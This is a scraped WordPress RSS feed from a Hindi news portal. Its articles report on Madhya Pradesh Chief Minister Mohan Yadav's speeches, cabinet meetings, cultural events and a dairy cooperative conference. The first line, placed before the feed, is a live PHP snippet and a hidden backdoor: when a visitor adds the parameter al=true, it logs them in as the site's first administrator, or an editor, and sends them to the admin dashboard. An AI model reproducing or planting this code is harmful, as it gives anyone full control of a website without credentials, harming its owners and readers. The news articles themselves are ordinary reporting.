// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); mohna – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Mon, 17 Nov 2025 07:36:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.4 गरीब से गरीब व्यक्ति के जीवन में बदलाव लाना हमारा उद्देश्य : मुख्यमंत्री डॉ. यादव https://pratyushaashakinayikiran.com/?p=191848 Mon, 17 Nov 2025 07:36:00 +0000 https://pratyushaashakinayikiran.com/?p=191848 गरीब से गरीब व्यक्ति के जीवन में बदलाव लाना हमारा उद्देश्य : मुख्यमंत्री डॉ. यादव

हम सत्ता के माध्यम से व्यवस्थाओं में बदलाव के उद्देश्य से कर रहे हैं कार्य
पाञ्चजन्य पत्रिका भारतीय विचार परम्परा का सशक्त संवाहक

मुख्यमंत्री डॉ. यादव ने पाञ्चजन्य सुशासन संवाद 2.0 कार्यक्रम को किया संबोधित

भोपाल

मुख्यमंत्री डॉ. मोहन यादव ने कहा है कि पाञ्चजन्य समय से पहले सावधान करने और धर्म के मार्ग पर चलने का प्रतीक है। पाञ्चजन्य पत्रिका भारतीय विचार परम्परा का सशक्त संवाहक है और यह अपनी भूमिका का निर्वहन पूरी जिम्मेदारी के साथ कर रही है। भगवान कृष्ण ने उन्हें प्राप्त पाञ्चजन्य और सुदर्शन चक्र सदैव अपने साथ रखा। यह दोनों प्रतीक उनके सम्पूर्ण व्यक्तित्व की विशिष्टता के रूप में सभी के मन मस्तिष्क में विद्यमान हैं। यह हम सबके लिए गर्व का विषय है कि भगवान कृष्ण के विराट स्वरूप में उज्जैनी के संदीपनि आश्रम में प्राप्त शिक्षा-दिक्षा का महत्वपूर्ण योगदान रहा। मुख्यमंत्री डॉ. यादव पाञ्चजन्य सुशासन संवाद 2.0 कार्यक्रम को संबोधित कर रहे थे।

कुशाभाऊ ठाकरे सभागार में आयोजित कार्यक्रम में मुख्यमंत्री डॉ. यादव का राष्ट्रीय स्वयं संघ के सह कार्यवाह मध्य क्षेत्र  हेमंत मुक्तिबोध, प्रांत संघचालक  अशोक पांडे और पाञ्चजन्य के संपादक  हितेष शंकर ने सम्मान किया। मुख्यमंत्री डॉ. यादव को पाञ्चजन्य का विशेष अंक भेंट किया गया। मुख्यमंत्री डॉ. यादव ने इस अवसर पर माखनलाल चतुर्वेदी पत्रकारिता एवं संचार विश्वविद्यालय के कुलगुरू  विजय मनोहर तिवारी, निदेशक स्वामी विवेकानंद हेल्थ मिशन सोसायटी डॉ. प्रवीण रेड्डी और प्रबंध निदेशक डीबीजी टेक्नॉलाजी  अभिशेक गर्ग का सम्मान किया।

राज्य सरकार ने समाज के साथ मिलकर त्यौहर मनाने के परिपाटी आरंभ की

मुख्यमंत्री डॉ.यादव ने कहा कि प्रत्येक गरीब व्यक्ति के जीवन में बदलाव लाना हमारा उद्देश्य है। हम सत्ता के माध्यम से व्यवस्थाओं में बदलाव लाने के उद्देश्य से कार्य कर रहे हैं। आम जनता के सुख के लिए हर संभव प्रयास करना राज्य सरकार का उद्देश्य है। प्रधानमंत्री  नरेन्द्र मोदी के मार्गदर्शन में इस पथ पर अग्रसर होते हुए राज्य सरकार ने कई नवाचार किए हैं। प्राकृतिक संसाधनों को सबके हित में वितरण को सुनिश्चित करते हुए राजस्थान, उत्तरप्रदेश और महाराष्ट्र के साथ नदी जोड़ो अभियान के अंतर्गत गतिविधियां प्रारंभ की गई हैं। इससे नदियों का मायका कहे जाने वाले मध्यप्रदेश के साथ तुलनात्मक रूप से कम जल सम्पदा वाले राजस्थान जैसे पड़ोसी राज्यों का भी लाभ होगा। राज्य सरकार ने विश्वविद्यालयों के वाइस चांसलर का नाम कुलगुरू कर, शिक्षा के मंदिरों को भारतीयता की भावना के अनुरूप बनाने की दिशा में कदम बढ़ाया है। इसी क्रम में आगे बढ़ते हुए राज्य सरकार ने गुरूपूर्णिमा, गीता जयंती सहित अन्य प्रमुख त्यौहार समाज के साथ मिलकर मनाने की परिपाटी आरंभ की है। समाज में आनंद और उत्सवीय वातावरण का संचार करना राज्य सरकार का दायित्व है।

राज्य सरकार प्रदेशवासियों को बेहतर मूलभूत सुविधाएं उपलब्ध कराने के लिए प्रतिबद्ध

मुख्यमंत्री डॉ. यादव ने कहा कि राज्य सरकार प्रदेशवासियों को बेहतर मूलभूत सुविधाएं उपलब्ध कराने के लिए प्रतिबद्ध है। स्वच्छ और हरित ऊर्जा के साथ किसानों को बिजली में आत्मनिर्भर बनाने के लिए सौर ऊर्जा पम्प उपलब्ध कराए जा रहे हैं। इस नवाचार से सब्सिडी से बची राशि को विकास के अन्य कार्यों में लगाया जाएगा। भावान्तर योजना, लाड़ली बहना योजना, युवाओं के लिए रोजगार के उद्देश्य से प्रदेश में संचालित उद्योग संवर्धन गतिविधियों के माध्यम से राज्य सरकार अन्नदाता, महिलाओं और युवाओं की बेहतरी के लिए हर संभव प्रयास कर रही है। प्रदेश में पीपीपी मोड पर मेडिकल कॉलेज संचालित करने का नवाचार भी किया गया है। सभी विश्वविद्यालयों में कृषि आधारित कोर्स आरंभ किये गए हैं। प्रधानमंत्री  नरेन्द्र मोदी द्वारा स्वीकृत पीएम मित्र पार्क से तीन लाख लोगों को रोजगार के अवसर प्राप्त होंगे। प्रदेश में दो मेट्रो पॉलिटन क्षेत्र विकसित किए जा रहे हैं। राज्य में महानगर क्षेत्र नियोजन एवं विकास अधिनियम 2025 को स्वीकृति प्रदान की गई है।

मुख्यमंत्री डॉ. यादव ने कहा कि रोजगार आधारित उद्योगों के लिए राज्य सरकार विशेष रियायतें और अनुदान उपलब्ध करा रही है। रीजनल इन्डस्ट्री कॉन्क्लेव से क्षेत्रीय स्तर पर उद्योग गतिविधियों को विस्तार मिला है। यह नवाचार करने वाला मध्यप्रदेश देश का एक मात्र राज्य है। प्रधानमंत्री  नरेन्द्र मोदी का ग्लोबल इन्वेस्टर्स समिट में भाग लेना हम सबके लिए गर्व का विषय है। इस समिट में 30 लाख करोड़ रुपए से अधिक के प्रस्ताव प्राप्त हुए हैं। प्रदेश में 8 लाख करोड़ रुपए के निवेश प्रस्तावों का क्रियान्वयन जारी है और 6 लाख करोड़ रुपए की औद्योगिक इकाइयों का भूमिपूजन और लोकार्पण किया जा चुका है। एक साथ ढाई लाख करोड़ रुपए लागत की औद्योगिक इकाइयों के भूमिपूजन और लोकार्पण के लिए प्रधानमंत्री  मोदी और केंद्रीय गृह मंत्री  अमित शाह से समय देने का अनुरोध किया है। देश में सबसे तेज गति से निवेश संवर्धन का कार्य मध्यप्रदेश में जारी है, हम 24 प्रतिशत की ग्रोथ रेट पर चल रहे हैं। साथ ही सभी विभागों के लक्ष्य तय कर गतिविधियां संचालित कर रहे हैं। मुख्यमंत्री डॉ. यादव ने वन्य प्राणी संवर्धन, पर्यटन गतिविधियों को प्रोत्साहन देने, राजधानी के सात प्रमुख मार्गों पर प्रदेश की संस्कृति को अभिव्यक्त करते द्वारों के निर्माण की जानकारी भी दी।

 

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प्रधानमंत्री मोदी के मुख्य आतिथ्य में महिला सशक्तिकरण महा सम्मेलन 31 मई को भोपाल में https://pratyushaashakinayikiran.com/?p=157661 Tue, 20 May 2025 12:39:00 +0000 https://pratyushaashakinayikiran.com/?p=157661 प्रधानमंत्री मोदी के मुख्य आतिथ्य में महिला सशक्तिकरण महा सम्मेलन 31 मई को भोपाल में

प्रधानमंत्री मोदी इंदौर मेट्रो तथा सतना और दतिया एयरपोर्ट का करेंगे वर्चुअल लोकार्पण
लोकमाता देवी अहिल्या बाई होल्कर की 300वीं जयंती के अवसर पर दिनांक 20 मई से 31 मई तक प्रदेश में सांस्कृतिक और साहित्यिक कार्यक्रम
उप राष्ट्रपति जगदीप धनखड़ के मुख्य आतिथ्य में नरसिंहपुर में 26 से 28 मई तक कृषि-उद्योग समागम
पचमढ़ी में जनजातीय राजा भभूत सिंह की स्मृति में मंत्रि-परिषद की बैठक 3 जून को
प्रधानमंत्री मोदी को राहवीर योजना को लागू किए जाने के लिए मंत्रि-परिषद ने किया धन्यवाद ज्ञापित
मुख्यमंत्री डॉ. यादव ने मंत्रि-परिषद की बैठक के पहले सदस्यों को किया संबोधित

इंदौर
मुख्यमंत्री डॉ. मोहन यादव ने कहा है कि लोकमाता देवी अहिल्या बाई होल्कर का जीवन समाज, संस्कृति और राष्ट्र के लिए समर्पित रहा। उनका व्यक्तित्व और कृतित्व भारत की अमोल निधि है। लोकमाता के सुशासन के साथ ही न्याय, शिक्षा, समाज कल्याण, धर्म कल्याण, जल संरक्षण और संवर्धन आदि के कार्यों के प्रति कृतज्ञता व्यक्त करने और उनके जीवन से प्रेरणा लेने के लिए इंदौर में मंत्रि-परिषद की बैठक आयोजित की गई है। मालवा का गौरवशाली और स्वर्णिम इतिहास रहा है। इसे रेखांकित करने के आवश्यकता है। मुख्यमंत्री डॉ. यादव ने मालवा के ऐतिहासिक व्यक्तित्व मल्हार राव होल्कर, लोकमाता अहिल्याबाई होल्कर, बाजीराव आदि को स्मरण करते हुए मालवा की धरती को नमन किया।

मुख्यमंत्री डॉ. यादव इंदौर के राजवाड़ा के दरबार हाल में मंत्रि-परिषद की बैठक के पहले सदस्यों को संबोधित कर रहे थे। मुख्यमंत्री डॉ. यादव ने कहा कि प्रधानमंत्री नरेन्द्र मोदी के प्रेरणा वाक्य "विरासत से विकास की ओर" से प्रेरणा लेकर विरासत के संरक्षण और संवर्धन करते हुए विकास की अवधारणा को मूर्त रूप दिया जा रहा है। मंत्रि-परिषद की पहली बैठक जनजातीय वीरांगना रानी दुर्गावती की स्मृति में जबलपुर में आयोजित की गई थी। आज लोकमाता अहिल्याबाई को समर्पित मंत्रि-परिषद की बैठक की जा रही है। उन्होंने कहा कि आगामी 3 जून को पचमढ़ी में जनजातीय राजा भभूत सिंह की स्मृति में मंत्रि-परिषद की बैठक का आयोजन किया जाएगा।

मुख्यमंत्री डॉ. यादव ने कहा कि मध्यप्रदेश कृषि क्षेत्र में देश में अग्रणी प्रदेश है। कृषि और कृषि उत्पाद को बढ़ावा देने के साथ कृषकों के कल्याण के लिए प्रदेश सरकार कटिबद्ध है। खेत में उपज से कारखाने और कारखाने से उद्योग तक की संकल्पना को चरितार्थ करते हुए उप राष्ट्रपति जगदीप धनखड़ के मुख्य आतिथ्य में नरसिंहपुर में 26 से 28 मई की अवधि में कृषि-उद्योग समागम का आयोजन किया जा रहा है। म.प्र. सरकार किसानों तक नवीनतम तकनीक पहुंचाने, खाद्य प्र-संस्करण उद्योगों को बढावा देने तथा किसानों को अपने उत्पाद का सही मूल्य दिलाने के हर प्रयास कर रही है।

मुख्यमंत्री डॉ. यादव ने कहा कि प्रधानमंत्री मोदी के मुख्य आतिथ्य में 31 मई को भोपाल में महिला सशक्तिकरण महा सम्मेलन आयोजित होगा। लोकमाता देवी अहिल्याबाई होल्कर की 300वीं जयंती वर्ष के अवसर पर संस्कृति मंत्रालय, भारत सरकार के साथ भोपाल के जम्बूरी मैदान में महिला उद्यमियों, कामगारों, महिला स्व-सहायता समूहों, लाड़ली बहनों का महिला सशक्तिकरण महा सम्मेलन आयोजित किया जाएगा। इसमें प्रदेश से 2 लाख से अधिक महिलाओं की सहभागिता होगी। महा सम्मेलन में प्रधानमंत्री मोदी इंदौर मेट्रो का लोकार्पण तथा सतना एवं दतिया एयरपोर्ट का वर्चुअल लोकार्पण भी करेंगे।

मुख्यमंत्री डॉ. यादव ने बताया कि लोकमाता देवी अहिल्या बाई होल्कर की 300वीं जयंती के अवसर पर प्रदेश के विभिन्न स्थानों पर 20 मई से 31 मई 2025 तक कई भव्य कार्यक्रम आयोजित किए जाएंगे। इस दौरान इंदौर, भोपाल, ग्वालियर, कालिदास संस्कृत अकादमी उज्जैन, नर्मदापुरम, ग्वालियर और अन्य स्थानों पर सांस्कृतिक और साहित्यिक आयोजन होंगे। 22 मई को कालिदास संस्कृत अकादमी उज्जैन में लोकमाता देवी अहिल्याबाई होल्कर पर केंद्रित महानाट्य "अहिल्याकथान संनादति" का मंचन किया जाएगा। 23 मई को ग्राम-महिदपुर, उज्जैन में देवी अहिल्या पर केंद्रीत महिला कवि सम्मेलन आयोजित होगा। ग्वालियर में 24 मई को नर्मदापुरम में 26 मई को, 27 मई को भोपाल में और बैतूल में 28 मई को महानाट्य "अहिल्याकथान संनादति" का मंचन होगा।

इंदौर में 28 मई को लोकमाता देवी अहिल्याबाई होल्कर पर केंद्रीत एकल कविता पाठ और सांस्कृतिक गतिविधियां होंगी, वहीं 29 मई को लता मंगेशकर ऑडिटोरियम, इंदौर में देवी अहिल्या केंद्रीत महानाट्य "शिवयोगिनी अहिल्या" का मंचन होगा। अंतिम दिन, 31 मई को राजवाड़ा परिसर, इंदौर में लोकमाता देवी अहिल्या बाई होल्कर की प्रतिमा पर माल्यार्पण और लोकमाता देवी अहिल्या बाई होल्कर को समर्पित महिला सशक्तिकरण कार्यक्रम के साथ प्रदेशव्यापी आयोजन का समापन होगा। यह आयोजन लोकमाता देवी अहिल्या बाई होल्कर के योगदान को याद करने और उनकी विरासत को सम्मान देने का एक प्रयास है।

प्रधानमंत्री मोदी को राहवीर योजना को लागू किए जाने के लिए मंत्रि- परिषद ने धन्यवाद ज्ञापित किया। मुख्यमंत्री डॉ. यादव ने कहा कि प्रदेश सरकार ने एक्सीडेंट में घायल प्रत्येक व्यक्ति के लिए "108 एम्बुलेंस, एयर एम्बुलेंस" तो शुरू की ही है, इसके साथ ही भारत सरकार सड़क परिवहन और राजमार्ग मंत्रालय द्वारा "राहवीर योजना” प्रारंभ की गई है। इस योजना को भी प्रदेश में लागू कर दिया है, इसके क्रियान्वयन के लिए जिला कलेक्टर को आदेशित कर दिया है। योजना में प्रावधान है कि यदि कोई नागरिक सड़क दुर्घटना में किसी घायल व्यक्ति को उसके गोल्डन-ऑवर (प्रारंभिक 1 घंटे) में चिकित्सा हेतु अस्पताल तक पहुंचाता है, और उसकी जान बच जाती है, उस स्थिति में उसे  25 हजार रूपये का ईनाम दिया जाएगा, जो पूर्व में 5 हजार रूपये था । साथ ही यदि कोई नागरिक घायल व्यक्ति को सीधा अस्पताल ले जाता है, उस स्थिति में अस्पताल द्वारा पुलिस को सूचना दी जाएगी। संबंधित व्यक्ति को भी इस पत्र की प्रति दी जाएगी, साथ ही पुलिस द्वारा कलेक्टर को भी इस संबंध में एक पत्र लिखा जायेगा। परिवहन विभाग द्वारा व्यक्ति के खाते में सीधे राशि ट्रांसफर की जावेगी।

मुख्यमत्री डॉ. यादव को मंत्रि-परिषद के सदस्यों ने इस वर्ष प्रदेश के 9 लाख किसानों से लगभग 78 लाख मीट्रिक टन गेहूं की खरीद की जाने पर धन्यवाद दिया। यह पिछले वर्ष की तुलना में लगभग 30 लाख) मीट्रिक टन अधिक (लगभग 62% अधिक) रहा है। गेहूं खरीद पर इस वर्ष लगभग 20 हजार करोड़ रूपये का भुगतान किसानों को किया गया है। प्रदेश के जिन् 9 लाख किसानों से गेहूं खरीदा गया है उसमें से 1 लाख 25 हजार महिला किसान है।

मुख्यमंत्री डॉ. यादव के साथ मंत्रि-परिषद के सभी सदस्यों ने परंपरागत धोती पहनकर मंत्रि-परिषद की बैठक में भाग लिया। नगरीय विकास एवं आवास मंत्री कैलाश विजयवर्गीय, जल संसाधन मंत्री तुलसीराम सिलावट और महापौर पुष्यमित्र भार्गव ने मंत्रि-परिषद के सदस्यों को अंगवस्त्रम् ओढ़ाकर और सम्मान स्वरूप प्रतीक चिन्ह भेंट कर स्वागत किया।

पूर्व लोकसभा अध्यक्ष श्रीमती सुमित्रा महाजन ने मंत्रि-परिषद के सदस्यों को देवी अहिल्या बाई होल्कर स्मारक के निर्माण से संबंधित प्रेजेंटेशन दिया। लालबाग पैलेस में 3 एकड़ की भूमि पर लगभग 100 करोड़ रूपये से स्मारक का निर्माण किया जाएगा। स्मारक में लोकमाता देवी अहिल्या बाई होल्कर के जीवन चरित्र, आदर्श, मूल्यों और योगदानों को रेखांकित किया जाएगा।

 

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सम्राट विक्रमादित्य महानाट्य अतीत के स्वर्णिम पृष्ठ का प्रकटीकरण : मुख्यमंत्री डॉ. यादव https://pratyushaashakinayikiran.com/?p=148844 Tue, 15 Apr 2025 06:36:00 +0000 https://pratyushaashakinayikiran.com/?p=148844
  • सम्राट विक्रमादित्य महानाट्य अतीत के स्वर्णिम पृष्ठ का प्रकटीकरण : मुख्यमंत्री डॉ. यादव
  • सम्राट विक्रमादित्य ने सुशासन, न्याय, वीरता और दानशीलता का स्थापित किया महत्व
  • मुख्यमंत्री डॉ. यादव सम्राट विक्रमादित्य की गौरवगाथा को राष्ट्रपटल पर लाए हैं: केंद्रीय मंत्री सिंधिया
  • विक्रमादित्य के शासनकाल को जनमानस की स्मृति में ताजा करने के लिए मुख्यमंत्री डॉ यादव बधाई के पात्र: राज्यसभा उपसभापति हरिवंश
  • सम्राट विक्रमादित्य महानाट्य एक भारत श्रेष्ठ भारत का संदेश देता है: दिल्ली मुख्यमंत्री श्रीमती गुप्ता
  • राष्ट्रीय राजधानी दिल्ली में निरंतर तीन दिन हुआ महानाट्यसम्राट विक्रमादित्य का मंचन
  • भोपाल

    मुख्यमंत्री डॉ. मोहन यादव ने कहा है कि देश की राजधानी में लाल किले की प्राचीर पर ऐतिहासिक महानाट्य सम्राट विक्रमादित्य का मंचन उस युग को जीवंत करने का प्रयास है। यह विश्व में भारत द्वारा सुशासन और लोकतांत्रिक व्यवस्था को स्थापित करने की दिशा में कारगर रहेगा। फिल्मों के निर्माण और डिजिटल युग के बावजूद प्राचीन नाट्य परम्परा से परिचित करवाने वाले इस महानाट्य के अंश अविस्मरणीय रहेंगे। मुख्यमंत्री डॉ. यादव सोमवार को नई दिल्ली में तीन दिवसीय महानाट्य सम्राट विक्रमादित्य के मंचन के समापन अवसर पर संबोधित कर रहे थे। कार्यक्रम में महानाट्य के कलाकारों का सम्मान भी किया गया। इसमें अनेक जनप्रतिनिधि, धर्म और आध्यात्म क्षेत्र की हस्तियां और बड़ी संख्या में कला प्रेमी उपस्थित थे।

    विरासत से विकास के मंत्र पर हो रहा है कार्य

    मुख्यमंत्री डॉ. यादव ने कहा कि प्रधानमंत्री नरेन्द्र मोदी ने विरासत के संरक्षण के साथ विकास का मंत्र दिया है। वास्तव में वर्तमान काल अदभुत है। प्रधानमंत्री मोदी स्वयं को प्रधान सेवक मानते हैं। आज भारत की गरिमा विश्व में निरंतर बढ़ रही है। एक समय था जब सम्राट विक्रमादित्य ने न्याय, वीरता और सुशासन के महत्व को स्थापित किया। सम्राट विक्रमादित्य के युग को पुन: महानाट्य के माध्यम से जीवंत किया गया है। सम्राट विक्रमादित्य के जीवन के विभिन्न पक्षों को महानाट्य के माध्यम से आमजन सामने लाने का अभूतपूर्व कार्य हुआ है।

    नाट्य विधा प्राचीन विधा है, इसका आज भी है महत्व

    मुख्यमंत्री डॉ. यादव ने कहा कि नाट्य विधा एक प्राचीन विधा है। आज के डिजिटल युग में भी इस विधा का महत्व बरकरार है। फिल्मों के निर्माण के साथ अनेक माध्यमों से कला और संस्कृति के दर्शन होते हैं लेकिन महानाट्य से सम्राट विक्रमादित्य के जीवन और शासन काल को प्रभावी तरीके से प्रस्तुत किया गया है। यह महानाट्य हमारे इतिहास के स्वर्णिम पृष्ठ और गौरवशाली अतीत से परिचय करवाता है। मुख्यमंत्री डॉ. यादव ने सम्राट विक्रमादित्य महानाट्य के मंचन के लिए आवश्यक समन्वय एवं सहयोग प्रदान करने के लिये दिल्ली की मुख्यमंत्री श्रीमती रेखा गुप्ता के प्रति आभार व्यक्त किया।

    विशिष्ट अतिथियों का मुख्यमंत्री डॉ. यादव ने माना आभार

    मुख्यमंत्री डॉ. यादव ने दिल्ली में महानाट्य के मंचन को देखने के लिए पधारे राज्य सभा के उप सभापति हरवंश सिंह, केंद्रीय मंत्री ज्योतिरादित्य सिंधिया, केंद्रीय राज्य मंत्री श्रीमती सावित्री ठाकुर, स्वामी अचलानंद जी, मध्यप्रदेश के मंत्रीगण राकेश सिंह, प्रद्युम्न सिंह तोमर, नरेंद शिवाजी पटेल, दिल्ली सरकार के मंत्री आशीष सूद का उपस्थिति के लिए आभार माना और संस्कृति मंत्रालय एवं विक्रमादित्य शोध पीठ के प्रति धन्यवाद ज्ञापित किया।

    केंदीय संचार मंत्री सिंधिया ने कहा कि भारत के इतिहास के महान योद्धा और कुशल शासक सम्राट विक्रमादित्य की स्मृति में आयोजित महानाट्य के माध्यम से मध्यप्रदेश के मुख्यमंत्री डॉ. यादव ने इनकी गौरवगाथा को राष्ट्रीय पटल पर लाने का श्रेष्ठ काम किया है। भविष्य में इसे विश्व पटल पर भी पहुंचाया जाएगा। प्रधानमंत्री मोदी द्वारा संचालित की जा रही जनकल्याणकारी योजनाएं भी सम्राट विक्रमादित्य के शासन की याद दिलाती हैं। मुख्यमंत्री डॉ. यादव इस महानाट्य से भावनात्मक रूप से विगत 18 वर्षों से जुड़े हुए हैं। जब वे सम्राट विक्रमादित्य के पिताकी भूमिका निभाते आए हैं। मुख्यमंत्री डॉ यादव ने विरासत और विकास को जोड़ने का प्रशंसनीय काम किया है।

    राज्यसभा उपसभापति हरिवंश ने कहा कि अतीत के प्रेरक प्रसंगों से भविष्य गढ़ने की ताकत और ऊर्जा मिलती है। वर्तमान युग भारत के पुनर्जागरण का युग है, ऐसे में इतिहास के गौरवशाली प्रसंग प्रेरणा देते हैं। सम्राट विक्रमादित्य के न्याय, धर्म, कला और संस्कृति के लिए प्रसिद्ध शासनकाल को जनमानस की स्मृति में ताजा करने के लिए मुख्यमंत्री डॉ. यादव बधाई के पात्र हैं।

    दिल्ली की मुख्यमंत्री श्रीमती रेखा गुप्ता ने कहा कि सम्राट विक्रमादित्य के जीवन को महानाट्य रूप में प्रस्तुत करने का सौभाग्य दिल्ली को प्राप्त हुआ है। उन्होंने इस अवसर के लिये मुख्यमंत्री डॉ. यादव का दिल्लीवासियों की ओर से धन्यवाद ज्ञापित किया। उन्होंने बताया कि ऐसे आयोजन एक भारत श्रेष्ठ भारत का संदेश देते हैं। प्रधानमंत्री मोदी के नेतृत्व में राज्य सरकारें को अपने गौरवशाली इतिहास और संस्कृतियों का आदान-प्रदान कर शीर्ष पर ले जाने का कार्य कर रही है। मुख्यमंत्री डॉ यादव ने विभिन्न प्रदेशों की संस्कृतियों को माला के मोतियों की तरह पिरो कर जनता तक पहुंचाने की शुरुआत की है।

    कार्यक्रम में केंद्रीय महिला एवं बाल विकास राज्यमंत्री श्रीमती सावित्री ठाकुर, मध्यप्रदेश शासन के लोक निर्माण मंत्री राकेश सिंह, ऊर्जा मंत्री प्रद्युम्न सिंह तोमर, जनजातीय कार्य मंत्री कुंवर विजय शाह, लोक स्वास्थ्य एवं चिकित्सा शिक्षा राज्यमंत्री नरेंद्र शिवाजी पटेल, सांसद वीडी शर्मा, आचार्य अचलानंद जी महाराज, गृह और ऊर्जा मंत्री दिल्ली शासन आशीष सूद भी उपस्थित थे।

     

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    सम्राट विक्रमादित्य महानाट्य की प्रधानमंत्री मोदी ने की सराहना, मुख्यमंत्री डॉ. यादव ने जताया आभार https://pratyushaashakinayikiran.com/?p=148609 Mon, 14 Apr 2025 05:26:00 +0000 https://pratyushaashakinayikiran.com/?p=148609 भोपाल

    प्रधानमंत्री नरेन्द्र मोदी ने दिल्ली के ऐतिहासिक लाल किला परिसर के माधव दास पार्क में चल रहे तीन दिवसीय "सम्राट विक्रमादित्य महानाट्य महामंचन" और इससे जुड़ी प्रदर्शनियों की सराहना कर बधाई दी है। प्रधानमंत्री मोदी द्वारा दी गई शुभकामनाओं के लिए मुख्यमंत्री डॉ. मोहन यादव ने आभार माना है।

    मुख्यमंत्री डॉ. यादव ने सोशल मीडिया 'एक्स' पर प्रधानमंत्री मोदी का आत्मीय आभार प्रकट किया है। उन्होंने कहा कि प्रधानमंत्री मोदी द्वारा दिल्ली के लाल किला परिसर में आयोजित तीन दिवसीय "सम्राट विक्रमादित्य महानाट्य" के आयोजन के लिए मध्यप्रदेश सरकार और कलाकारों को दी गईं शुभकामनाएं अमूल्य हैं। मोदी के मार्गदर्शन में भारतीय संस्कृति, जीवन मूल्यों और सांस्कृतिक चेतना के पुनर्जागरण के लिए हमारी सरकार निरंतर कार्यरत है।

    मुख्यमंत्री डॉ. यादव ने कहा कि सम्राट विक्रमादित्य के सुशासन और आदर्श जीवन पर आधारित यह भव्य महानाट्य देशवासियों को उनके स्वर्णिम युग की स्मृतियों से जोड़ते हुए सांस्कृतिक गौरव का भाव जागृत करेगा।

    उल्लेखनीय है कि प्रधानमंत्री मोदी ने सम्राट विक्रमादित्य महानाट्य के संदर्भ में 11 अप्रैल 2025 को भेजे अपने शुभकामना संदेश में कहा है कि “उज्जैन के महान सम्राट विक्रमादित्य के गौरव और वैभव को जन-जन तक पहुंचाने का यह प्रयास सराहनीय है। उनका शासन काल जन-कल्याण, सुशासन और सांस्कृतिक पुनरुत्थान के लिए जाना जाता है। मध्यप्रदेश के ऊर्जावान मुख्यमंत्री डॉ. मोहन यादव के मार्गदर्शन में यह आयोजन निश्चित रूप से युवा पीढ़ी को अपने गौरवशाली अतीत से जोड़कर आत्मविश्वास और कर्तव्यनिष्ठा की भावना से परिपूर्ण नागरिक बनाने में सहायक सिद्ध होगा।

    प्रधानमंत्री मोदी के इस संदेश ने मध्यप्रदेश सरकार और महानाट्य महामंचन के सभी कलाकारों में उत्साह का संचार करते हुए नई ऊर्जा प्रदान की है।

     

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    दुग्ध उत्पादन में सहकारिता बढ़ाएं, दुग्ध उत्पादक समितियों और संघों को भी दें प्रोत्साहन : मुख्यमंत्री डॉ. यादव https://pratyushaashakinayikiran.com/?p=145372 Wed, 02 Apr 2025 07:16:00 +0000 https://pratyushaashakinayikiran.com/?p=145372 दुग्ध उत्पादन में सहकारिता बढ़ाएं, दुग्ध उत्पादक समितियों और संघों को भी दें प्रोत्साहन : मुख्यमंत्री डॉ. यादव

    केन्द्रीय गृह एवं सहकारिता मंत्री अमित शाह के मुख्य आतिथ्य में राज्य स्तरीय सहकारी दुग्ध उत्पादक सम्मेलन 13 अप्रैल को नीमच में

    मुख्यमंत्री ने नीमच में होने वाले सम्मेलन की तैयारियों की समीक्षा कर दिए निर्देश

    भोपाल

    मुख्यमंत्री डॉ. मोहन यादव ने कहा है कि प्रदेश को दुग्ध उत्पादन के क्षेत्र में अग्रणी बनाने के लिए दुग्ध उत्पादन में सहकारिता बढ़ाएं। इस काम के लिए गांव-गांव में उपलब्ध दुग्ध उत्पादक समितियों और दुग्ध उत्पादकों संघों को भी जोड़कर उन्हें प्रोत्साहन दें। मुख्यमंत्री डॉ. यादव ने कहा कि केन्द्रीय गृह एवं सहकारिता मंत्री अमित शाह के मुख्य आतिथ्य में आगामी 13 अप्रैल को नीमच में राज्य स्तरीय सहकारी दुग्ध उत्पादक (गोपाल) सम्मेलन आयोजित किया जाएगा। इस सम्मेलन में राज्य शासन एमपीसीडीएफ, दुग्ध संघों एवं राष्ट्रीय डेयरी विकास बोर्ड के मध्य सहकार्यता अनुबंधों का निष्पादन किया जाएगा। मुख्यमंत्री डॉ. यादव मंगलवार को समत्व भवन (मुख्यमंत्री निवास) में 13 अप्रैल को नीमच में होने वाले सम्मेलन की प्रारंभिक तैयारियों की समीक्षा बैठक को संबोधित कर रहे थे।

    मुख्यमंत्री डॉ. यादव ने कहा कि प्रदेश में दुग्ध उत्पादन बढ़ाने के लिए स्व-सहायता समूहों के फेडरेशन, दुग्ध महासंघ, राष्ट्रीय डेयरी डेवलपमेंट बोर्ड व दूध उत्पादन से जुड़ी अन्य संस्थाओं को एक मंच में लाकर इनसे मार्गदर्शन लेकर आगे बढ़ें। जैविक उत्पादों सहित गौवंश जनित उत्पादों का व्यापक प्रचार-प्रसार करें, जिससे इन उत्पादों को समुचित बाजार मिले और इसका सबसे अधिक दुग्ध उत्पादकों को हो।

    बैठक में पशुपालन एवं डेयरी राज्य मंत्री (स्वतंत्र प्रभार) लखन पटेल, प्रमुख सचिव पशुपालन उमाकांत उमराव, सचिव पशुपालन सतेन्द्र सिंह सहित अन्य अधिकारी उपस्थित थे। बैठक में सरकार द्वारा दुग्ध उत्पादन पर पांच रूपए प्रति लीटर बोनस राशि का वितरण दुग्ध उत्पादक समितियों/दुग्ध उत्पादक संघों को देने पर विचार-विमर्श किया गया। मुख्यमंत्री डॉ. यादव ने कहा कि दूध उत्पादन में सहकारिता से अच्छे परिणाम सामने आएंगे। उन्होंने कहा कि नीमच में होने वाले सम्मेलन में नीमच सहित उज्जैन संभाग के सभी जिलों की दुग्ध उत्पादक समितियों/संघों को आमंत्रित किया जाए।

